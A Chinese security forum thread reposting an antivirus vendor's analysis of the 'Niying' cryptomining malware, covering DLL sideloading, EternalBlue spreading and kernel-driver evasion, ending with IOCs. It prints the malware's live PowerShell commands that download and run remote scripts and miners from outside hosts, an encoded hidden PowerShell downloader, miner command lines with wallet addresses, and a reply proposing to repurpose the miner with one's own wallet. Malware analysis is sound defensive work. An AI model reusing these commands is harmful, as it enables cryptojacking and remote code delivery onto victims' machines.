吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 19146|回复: 96
收起左侧

[转载] 金山毒霸:“匿影”挖矿病毒再度来袭, 小心电脑沦为他人工具!

[复制链接]
bambooslip 发表于 2020-3-21 13:49
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
  近期,金山毒霸安全团队再次捕获到“匿影”挖矿病毒,此病毒利用白加黑手法,通过NSA泄露工具包,永恒之蓝等漏洞进行横向传播,执行powershell脚本进行挖矿,感染传播,并且释放驱动对抗杀软。此病毒主要挖门罗币和Handshake(hns),通过f2pool矿池进行挖矿。
        门罗币向来是挖矿病毒的不二之选,因为其无法被追踪,隐匿的特性,当然还有其挖矿算法支持cpu,比较“亲民”,只要是电脑就可以进行cpu挖矿,而且其价格可观。当然病毒作者选HNS的道理也大同小异,隐匿,价格,“亲民”,当然能用GPU对病毒来说是更优的选择,毕竟来钱快嘛。



技术分析
        “匿影”病毒家族,大部分恶意模块均采用VMP保护,包括驱动对抗程序,为提高分析的成本,增加分析难度。而且恶意病毒的下载传播的服务器空间,均使用三方服务、网盘、图床,很难捕捉其真实地址。
病毒执行流程图


计划任务执行Powershell恶意脚本
        中病毒计算机计划任务被添加自动运行恶意Powershell脚本
Powershell命令行字符串为混淆字符串,解密后如下:

  • IEX((new-objectnet.webclient).downloadstring('http://cs.sslsngyl90.com'))
复制代码
Powershell加载执行下载后的恶意脚本,截取一些相似部分,主要功能为加载恶意PE文件,挖矿

  • (new-object System.Net.WebClient).DownloadFile( 'https://img.vim-cn.com/d2/5340ae8e92a6d29f599fef426a2bc1b5217299','C:\ProgramData\WinRing0x64.sys')(new-object System.Net.WebClient).DownloadFile( 'https://img.vim-cn.com/fd/31611086fb633acbe818d26f0dc710bb8e5350','C:\ProgramData\officekms.exe')Start-Process -FilePath C:\ProgramData\officekms.exe '-o xmr.f2pool.com:13531 -u 47XU72EwsukWYtYPqmWNuk5yYb5YzPGmMEfxG4BMMCDYYKSoKmnnQnxMx13oaVetgzZ6rYBsRSqbLZ7PcKaB2NSfQSRdZ9b -p x -k'
复制代码
释放恶意PE文件
文件名功能
Officekms.exe挖矿程序
WinRing0x64.sysCPU信息检出
Gtt.exe挖矿,驱动保护
Go.exe挖矿,驱动保护
Nb.exe挖矿程序
Office.exe横向传播,漏洞利用

go.exe
go.exe是winrar创建的自解压程序,静默自动执行白文件XLBugReport.exe,此处利用手法为白加黑,利用迅雷模块加载病毒恶意模块。
XLBugReport.exe是迅雷的错误报告程序
svchost 是病毒自带模块(此处模拟系统模块命名,混淆视听
svchost加载cpugpucom.dll
cpuxmdll函数为cpugpucom.dll里面的导出函数,内存动态解密,解密后为VMP Dump

svchost调用最终病毒解密代码载调用Officekms.exe进行挖矿
释放驱动文件(命名随机 VMP壳)对抗杀软和ARK工具
HOOK内核回调,监控进程打开关闭


gtt.exe
Gtt.exe 也是winrar自解压程序,利用微软原始文件rekeywiz.exe(病毒文件名WorkstationPro.exe)文件白加黑调用自己的恶意模块duser.dll (VMP) , wininit.exe (VMP)

以下是WorkstationPro.exe白文件,通过VT查询它被其它病毒文件的利用情况,发现被许多恶意文件利用,可见白文件,白进程可能也需要我们格外关注了,表象的背后往往有一些捉摸不清的“交易”。

wininit.exe (VMP)调用其它模块(officekms.exe MicrosftEdgeCP.exe)进行挖矿


  • C:\ProgramData\officekms.exe -o xmr.f2pool.com:13531 -u 43uhqNUnb RnhnK54zH5cLKd1UjxzR8y4vbMBUwpTK4aL2uWv7jTphoR6vqhoGXDKfnQDB9qaA1 zmLSZ27mWMzU9k7YMGmGD.xx -p x -k
复制代码
MicrosftEdgeCP.exe (VMP) 是nb.exe释放

  • C:\Users\Public\MicrosftEdgeCP.exe -a hns -o stratum+tcp://hns.f2pool.com:6000 -u hs1qlxjqehrw8wth6pdwrhh0cls7y3nvpk0xdcufvw.019C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -N onI -W Hidden -ep Bypass -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwB4AHgALgBlAG0AYQBpAGwAbQBpAGMAbwBwAC4AYwBsAHUAYgAnACkAKQA=
复制代码
加载驱动(VMP),对抗杀软和ARK工具
HOOK内核回调,监控进程打开关闭

nb.exe
功能为释放挖矿程序MicrosftEdgeCP.exe(VMP) 和 OhGodAnETHlargementPill-r2.exe


office.exe
office.exe 释放的文件主要目的为横向传播,利用永恒之蓝漏洞进行攻击
winlogtrf.exe为控制模块
winlogtrf.exe调用永恒之蓝漏洞扫描器(开源Python版本)进行扫描
攻击成功,则发送payload(x64.dll)
payload则会检测QQ管家,金山毒霸杀软和其它进程信息

   
如果没有杀软存在,则进行感染传播


挖矿信息
门罗币
此病毒主要通过f2pool矿池挖矿,所以不能直接获取其钱包地址,以下是测试账户,挖矿时是使用此矿池的地址而不是我们的钱包地址
f2pool门罗币的收益情况,这个地址为f2pool的挖矿地址

  • 47XU72EwsukWYtYPqmWNuk5yYb5YzPGmMEfxG4BMMCDYYKSoKmnnQnxMx13oaVetgzZ6rYBsRSqbLZ7PcKaB2NSfQSRdZ9b
复制代码
这个账号在有一天可以挖0.18个大约6.6美金

当然他不止一个账号,当然我想可以不仅仅只有下面几个门罗币挖矿地址

  • 43BxCW7rEQBUtDudnUG1pc4sY9wvwaCCYh71wk8Lx9Vq5PtVMneSDp4fbh8HvtF4JyPtXcBGbW2FWN21b5MhZpN2REofAcy44ACdsQgNRRBLmLQAEvkVoCYAVmSpy2XsQvdvS4Srnbwf9tzrbMGEjigXbDCi8iT2LQznYV2DAzgCR6K5Y6vBth84oErPyg43uhqNUnbRnhnK54zH5cLKd1UjxzR8y4vbMBUwpTK4aL2uWv7jTphoR6vqhoGXDKfnQDB9qaA1zmLSZ27mWMzU9k7YMGmGD
复制代码
挖矿方式和上面的门罗币一样也是通过f2pool进行的挖矿,挖矿f2pool地址

复制代码

以下大概一个月的收益


总结:
         可见挖矿病毒的收益还是很高的,当然这只是“借你之手”的获利,病毒在挖矿的时候会导致计算机卡顿,运行其它软件速度变慢,如果你有类似症状的时候,要想想是不是中了挖矿病毒了,及时安装金山毒霸扫描查杀,以免沦为他人的“工具”。
        此病毒是通过BT下载器,激活工具等等免费破解工具进行的传播,友情提示,大家下载软件,尽量选择官方下载,第三方下载很有可能存在病毒捆绑,或者安装金山毒霸,即便不小心下载了恶意捆绑软件也可以及时查漏补缺,及时为你拦截相关病毒。
        毒霸很好地支持计划任务,powershell,等关键可疑行为的查杀拦截

IOC
MD5:
974b7dd2e5f32297ac498d4b4816014a
95dd28e23472e0f2c561b0168e4d4de3
ca8ab64cda1205f0993a84bc76ad894a
124d75d7214a16635828982c6c24b8d2
39e5b7e7a52c4f6f86f086298950c6b8
0c0195c48b6b8582fa6f6373032118da
URL:
hxxp://cpu/sslsngyl90[.]com/vip.txt
hxxp://cpu.sslsngyl90[.]com/vip.txt
hxxps://img.vim-cn[.]com/d2/5340ae8e92a6d29f599fef426a2bc1b5217299
hxxps://img.vim-cn[.]com/fd/31611086fb633acbe818d26f0dc710bb8e5350
hxxps://img.vim-cn[.]com/c9/b3a8ada87d992f7ef6fe68b6ecbadc339c71a1
hxxps://img.vim-cn[.]com/82/651423b4a6a5fb251b87ebec0f44d1cd862c21

点评

欢迎大家观看毒王收拾小毒崽子系列之  发表于 2020-3-21 17:56

免费评分

参与人数 22吾爱币 +16 热心值 +16 收起 理由
yinbinly + 1 贼喊追贼?
k51613210 + 1 什么是金山毒霸啊,新的杀毒软件吗?(滑稽)
737781474 + 1 原本是没关注 挖矿的 现在你这什么网站都说了 我突然想试试自己电脑 能不.
被封号的萌新 + 1 + 1 金山毒霸不是我霸哥么??强啊,霸哥
fengziliu0519 + 1 我很赞同!
''晚安茶糜 + 1 还有金山毒霸了?我还以为早关闭了
传说的老鼠 + 1 + 1 欢迎大家观看毒王收拾小毒崽子系列
slink0 + 1 + 1 要是装上毒霸了我还怕病毒?
tzxinqing + 1 金山的广告、推广和这个挖矿有什么差别?
dujun1983 + 1 + 1 虽然不用金山 还是要谢谢提醒
Pandolar + 1 + 1 欢迎大家观看毒王收拾小毒崽子系列
处女-大龙猫 + 1 热心回复!
Anekys + 1 + 1 干的漂亮,但是我选择火绒
红尘旧梦i + 2 欢迎大家观看毒王收拾小毒崽子系列
韬. + 1 + 1 我很赞同!
?bugme + 1 我还以为金山毒霸里含挖矿木马
dzpj + 1 就算这样我也不用毒霸
a921517303 + 1 金山毒霸行为比挖矿还要恶心
RemMai + 1 金山的广告、推广和这个挖矿有什么差别?
55555555 + 1 就算这样我也不用毒霸
愚无尽 + 1 + 1
Megapixel + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

今天风好大 发表于 2020-3-21 14:40
毒王教训毒崽子
fromat 发表于 2020-3-21 14:10
失业 发表于 2020-3-21 14:27
luzhiyao 发表于 2020-3-21 14:24
垃圾金山,肯定不会用。
带不走的回忆 发表于 2020-3-21 14:56
fromat 发表于 2020-3-21 14:10
宁愿被挖矿,都不会用金山这个流氓

ni你太可爱了你电脑就这点价值哈哈
sharokku4869 发表于 2020-3-21 15:04
宁愿被用来挖矿也不装金山
点解点解 发表于 2020-3-21 15:53
多谢提供资料,把钱包改一下就可以为自已服务了,我还想改进一下,在空闲时50%挖,动键盘鼠标就暂停,这样肯定能活得长久。
上将无双 发表于 2020-3-21 14:01
感谢楼主分享
挖矿病毒确实烦人
星星之夜 发表于 2020-3-21 14:06
多谢提供思路
一叶甘棠 发表于 2020-3-21 14:25
恐怖至极
xugdawn 发表于 2020-3-21 14:28
金山就是太占内存了
scy444888 发表于 2020-3-21 14:39
前两天电脑内存突然占用特别高,重启也慢,内存提交二十多个g,16g内存完全塞满了,火绒查了半天也没结果,最后重装系统没事了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-9 08:49

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表